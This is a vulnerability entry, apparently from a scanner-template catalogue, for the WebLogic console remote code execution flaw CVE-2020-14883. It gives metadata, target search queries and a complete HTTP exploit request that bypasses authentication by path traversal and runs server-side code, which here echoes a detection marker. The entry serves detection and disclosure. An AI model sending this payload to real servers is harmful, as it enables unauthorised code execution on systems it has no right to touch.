| Title | Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution |
|---|---|
| Author | pdteam,vicrack |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability. |
| CVSS Score | 7.2 |
| EPSS Score | 0.94439 |
| CVE ID | CVE-2020-14883 |
| Shodan Query | title:"Oracle PeopleSoft Sign-in"product:"oracle weblogic"http.title:"oracle peoplesoft sign-in" |
| Fofa Query | title="oracle peoplesoft sign-in" |
| Tags | cve cve2020 oracle rce weblogic kev packetstorm vkev vuln |
The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Content-Length: 920
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String result = new StringBuilder("38FR1PE1eHoIdTlbp4F4P4oCeA5").reverse().toString(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush(); currentThread.interrupt();')
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14883.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-14883.pcap
N/AN/A